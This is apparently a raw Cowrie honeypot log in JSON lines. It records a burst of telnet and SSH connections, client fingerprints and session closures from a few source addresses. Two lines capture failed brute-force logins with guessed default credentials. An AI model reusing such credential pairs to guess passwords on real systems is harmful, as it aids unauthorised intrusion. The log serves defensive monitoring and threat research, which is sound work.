{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e956831f0523","protocol":"telnet","message":"New connection: 174.142.104.49:50774 (159.203.135.109:23) [session: e956831f0523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:39.014794Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49416,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dce9432e189","protocol":"telnet","message":"New connection: 174.142.104.49:49416 (159.203.135.109:23) [session: 7dce9432e189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:39.203606Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":51172,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a0f46796d8","protocol":"ssh","message":"New connection: 220.119.37.141:51172 (10.17.0.5:22) [session: f5a0f46796d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:39.698416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:39.704398Z","src_ip":"220.119.37.141","session":"f5a0f46796d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.38261604309082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:39.764432Z","src_ip":"174.142.104.49","session":"e0bf75ebbfd6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:39.899064Z","src_ip":"220.119.37.141","session":"f5a0f46796d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52666,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf41b908410","protocol":"telnet","message":"New connection: 174.142.104.49:52666 (159.203.135.109:23) [session: cbf41b908410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:40.055067Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53087,"dst_ip":"159.203.135.109","dst_port":23,"session":"f73e08b19468","protocol":"telnet","message":"New connection: 174.142.104.49:53087 (159.203.135.109:23) [session: f73e08b19468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:40.388186Z"}
{"eventid":"cowrie.session.closed","duration":30.904466152191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:40.436123Z","src_ip":"174.142.104.49","session":"fcedcbf650ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48436,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d7db48706f","protocol":"telnet","message":"New connection: 174.142.104.49:48436 (159.203.135.109:23) [session: b9d7db48706f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:40.527131Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin111","message":"login attempt [root/admin111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:40.708507Z","src_ip":"220.119.37.141","session":"f5a0f46796d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":38590,"dst_ip":"10.17.0.5","dst_port":22,"session":"d101e0151c0c","protocol":"ssh","message":"New connection: 96.78.175.36:38590 (10.17.0.5:22) [session: d101e0151c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:40.928854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:40.936376Z","src_ip":"96.78.175.36","session":"d101e0151c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:41.021806Z","src_ip":"96.78.175.36","session":"d101e0151c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"zxcvbnm","message":"login attempt [debian/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:41.377276Z","src_ip":"96.78.175.36","session":"d101e0151c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57506,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2246ca40848","protocol":"telnet","message":"New connection: 174.142.104.49:57506 (159.203.135.109:23) [session: a2246ca40848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:41.449551Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50362,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e49ac3ec797","protocol":"telnet","message":"New connection: 174.142.104.49:50362 (159.203.135.109:23) [session: 5e49ac3ec797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:41.729557Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:41.904885Z","src_ip":"220.119.37.141","session":"f5a0f46796d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56112,"dst_ip":"159.203.135.109","dst_port":23,"session":"13293789500d","protocol":"telnet","message":"New connection: 174.142.104.49:56112 (159.203.135.109:23) [session: 13293789500d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:42.186478Z"}
{"eventid":"cowrie.session.closed","duration":30.708030462265015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:42.213745Z","src_ip":"174.142.104.49","session":"85b782d054c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014865398406982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:42.244527Z","src_ip":"174.142.104.49","session":"c757f674cf4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56514,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0b569c5b18e","protocol":"telnet","message":"New connection: 174.142.104.49:56514 (159.203.135.109:23) [session: b0b569c5b18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:42.447737Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:42.461625Z","src_ip":"96.78.175.36","session":"d101e0151c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59048,"dst_ip":"159.203.135.109","dst_port":23,"session":"2770d2c1dee2","protocol":"telnet","message":"New connection: 174.142.104.49:59048 (159.203.135.109:23) [session: 2770d2c1dee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:42.473486Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51858,"dst_ip":"159.203.135.109","dst_port":23,"session":"a47770412306","protocol":"telnet","message":"New connection: 174.142.104.49:51858 (159.203.135.109:23) [session: a47770412306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:43.689745Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58748,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e43b2b0af00","protocol":"telnet","message":"New connection: 174.142.104.49:58748 (159.203.135.109:23) [session: 6e43b2b0af00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:43.798298Z"}
{"eventid":"cowrie.session.closed","duration":30.96977972984314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:43.924011Z","src_ip":"174.142.104.49","session":"9e7b2526ba56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59220,"dst_ip":"159.203.135.109","dst_port":23,"session":"9550dd5751bf","protocol":"telnet","message":"New connection: 174.142.104.49:59220 (159.203.135.109:23) [session: 9550dd5751bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.065820Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57698,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1262c0449fa","protocol":"telnet","message":"New connection: 174.142.104.49:57698 (159.203.135.109:23) [session: b1262c0449fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.093207Z"}
{"eventid":"cowrie.session.closed","duration":31.005337238311768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.205626Z","src_ip":"161.132.53.68","session":"f12f3a7ffe32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59622,"dst_ip":"159.203.135.109","dst_port":23,"session":"34fe5063422e","protocol":"telnet","message":"New connection: 174.142.104.49:59622 (159.203.135.109:23) [session: 34fe5063422e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.305418Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59702,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a1ddd62945","protocol":"telnet","message":"New connection: 174.142.104.49:59702 (159.203.135.109:23) [session: 71a1ddd62945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.346181Z"}
{"eventid":"cowrie.session.closed","duration":31.31356430053711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.524670Z","src_ip":"161.132.53.68","session":"577259e4e545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60162,"dst_ip":"159.203.135.109","dst_port":23,"session":"fca29957ad1a","protocol":"telnet","message":"New connection: 174.142.104.49:60162 (159.203.135.109:23) [session: fca29957ad1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.635971Z"}
{"eventid":"cowrie.session.closed","duration":31.139211654663086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:44.683740Z","src_ip":"174.142.104.49","session":"befd41c99b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650924682617188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:45.324039Z","src_ip":"174.142.104.49","session":"7a3d286bf97e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58078,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37c0d260a8e","protocol":"telnet","message":"New connection: 174.142.104.49:58078 (159.203.135.109:23) [session: d37c0d260a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:45.417717Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33618,"dst_ip":"159.203.135.109","dst_port":23,"session":"01ad9d8d8a3e","protocol":"telnet","message":"New connection: 174.142.104.49:33618 (159.203.135.109:23) [session: 01ad9d8d8a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:45.527730Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60148,"dst_ip":"159.203.135.109","dst_port":23,"session":"da4545724c7d","protocol":"telnet","message":"New connection: 174.142.104.49:60148 (159.203.135.109:23) [session: da4545724c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:45.623183Z"}
{"eventid":"cowrie.session.closed","duration":31.07255506515503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:45.884459Z","src_ip":"174.142.104.49","session":"3eee8065fb20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60654,"dst_ip":"159.203.135.109","dst_port":23,"session":"5464fc08e464","protocol":"telnet","message":"New connection: 174.142.104.49:60654 (159.203.135.109:23) [session: 5464fc08e464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:45.972069Z"}
{"eventid":"cowrie.session.closed","duration":31.031744480133057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:45.996839Z","src_ip":"174.142.104.49","session":"8cdfc1aa04f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26044797897339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:46.051984Z","src_ip":"174.142.104.49","session":"749068760b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57912,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec7bf4e86b2","protocol":"telnet","message":"New connection: 174.142.104.49:57912 (159.203.135.109:23) [session: bec7bf4e86b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:46.262159Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34816,"dst_ip":"159.203.135.109","dst_port":23,"session":"25dcb8262025","protocol":"telnet","message":"New connection: 174.142.104.49:34816 (159.203.135.109:23) [session: 25dcb8262025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:46.302124Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35372,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a155af7c474","protocol":"telnet","message":"New connection: 174.142.104.49:35372 (159.203.135.109:23) [session: 1a155af7c474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:46.595899Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58674,"dst_ip":"159.203.135.109","dst_port":23,"session":"7286871ccc56","protocol":"telnet","message":"New connection: 174.142.104.49:58674 (159.203.135.109:23) [session: 7286871ccc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:46.751519Z"}
{"eventid":"cowrie.session.closed","duration":31.468204259872437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:46.837740Z","src_ip":"174.142.104.49","session":"771d5daeeded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264991283416748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:46.958588Z","src_ip":"174.142.104.49","session":"8fbaa122c562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.60959458351135,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.128021Z","src_ip":"174.142.104.49","session":"2d3ce602b487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04746437072754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.323361Z","src_ip":"174.142.104.49","session":"93787bc2b9b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490957260131836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.473192Z","src_ip":"174.142.104.49","session":"9a79eb52c39e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36740,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c3121fbc2c","protocol":"telnet","message":"New connection: 174.142.104.49:36740 (159.203.135.109:23) [session: 30c3121fbc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.488691Z"}
{"eventid":"cowrie.session.closed","duration":31.196120023727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.521638Z","src_ip":"174.142.104.49","session":"17443087d12f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7871253490448,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.666786Z","src_ip":"174.142.104.49","session":"c356fdd6ee78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37198,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48bf6c9a55a","protocol":"telnet","message":"New connection: 174.142.104.49:37198 (159.203.135.109:23) [session: b48bf6c9a55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.746164Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35614,"dst_ip":"159.203.135.109","dst_port":23,"session":"e09d9ae4575e","protocol":"telnet","message":"New connection: 174.142.104.49:35614 (159.203.135.109:23) [session: e09d9ae4575e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.750725Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2428c0eaf2ca","protocol":"telnet","message":"New connection: 174.142.104.49:37356 (159.203.135.109:23) [session: 2428c0eaf2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:47.855066Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ddc6cb95f7b","protocol":"telnet","message":"New connection: 174.142.104.49:34288 (159.203.135.109:23) [session: 3ddc6cb95f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:48.009757Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37999,"dst_ip":"159.203.135.109","dst_port":23,"session":"7452d26b942d","protocol":"telnet","message":"New connection: 174.142.104.49:37999 (159.203.135.109:23) [session: 7452d26b942d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:48.269711Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33696,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5384ccdfc3c","protocol":"telnet","message":"New connection: 174.142.104.49:33696 (159.203.135.109:23) [session: a5384ccdfc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:48.574334Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38746,"dst_ip":"159.203.135.109","dst_port":23,"session":"e15d19cb629c","protocol":"telnet","message":"New connection: 174.142.104.49:38746 (159.203.135.109:23) [session: e15d19cb629c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:48.692046Z"}
{"eventid":"cowrie.session.closed","duration":31.612698793411255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:48.849717Z","src_ip":"161.132.53.68","session":"fd8033eb2681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28751564025879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:48.934290Z","src_ip":"174.142.104.49","session":"27ed1a940211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39552,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc0020f6e1f9","protocol":"telnet","message":"New connection: 174.142.104.49:39552 (159.203.135.109:23) [session: fc0020f6e1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.217079Z"}
{"eventid":"cowrie.session.closed","duration":30.267574310302734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.321783Z","src_ip":"174.142.104.49","session":"1518dc55fbbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39738,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ab96c47f1b","protocol":"telnet","message":"New connection: 174.142.104.49:39738 (159.203.135.109:23) [session: 60ab96c47f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.356896Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ff32458a6a","protocol":"telnet","message":"New connection: 174.142.104.49:39832 (159.203.135.109:23) [session: e2ff32458a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.440101Z"}
{"eventid":"cowrie.session.closed","duration":30.83165431022644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.467138Z","src_ip":"174.142.104.49","session":"8bb0007645b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76713466644287,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.478787Z","src_ip":"104.245.105.2","session":"ec478b58d77b","protocol":"telnet"}
